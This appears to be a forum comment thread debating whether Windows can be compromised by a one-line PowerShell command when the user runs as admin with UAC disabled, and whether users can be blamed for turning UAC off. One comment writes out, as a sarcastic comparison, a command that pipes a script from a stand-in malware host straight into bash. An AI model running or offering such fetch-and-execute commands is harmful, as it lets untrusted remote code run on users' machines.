3 ms·
> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$? sigh It needs to be run under an account with admin privi
by justsomehnguy 2y ago
> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
sigh It needs to be run under an account with admin privileges for that. The shield on the "Run" dialog screenshot clearly indicates what it was taken under a user with admin privileges and UAC disabled.
Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.
- rl3 2y ago>Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash. Excuse me, but some of us prefer to let evil scripts root our machines via pure sh, thank you very much.
- koolba 2y agoGlad I’m not the only one thinking about POSIX compliance!
- koolba 2y ago> … by 1 like in curl malware.zyx/evilscript | bash. Making the script POSIX compliant would allow hacking computers without bash. Then you can pipe it into just “sh” which is guaranteed to be on the PATH.
- chii 2y ago> it was taken under a user with admin privileges and UAC disabled. you will have to accept that users either ask this UAC to be turned off, or it gets turned off by the original installer of the windows for the user (presumably non-technical user). It's like telling traffic accident sufferers that they should've put on a seatbelt. True, but pointless.
- justsomehnguy 2y ago> you will have to accept that users either ask this UAC to be turned off Running with UAC disabled under an admin account? That's not only a lack of a seatbelt, but wearing a flip-flops too. And I'm eating my dogfood too, I'm running under a regular user since migrated from Vista, both on personal and work devices. Sometimes it's PITA, sure, but it's manageable.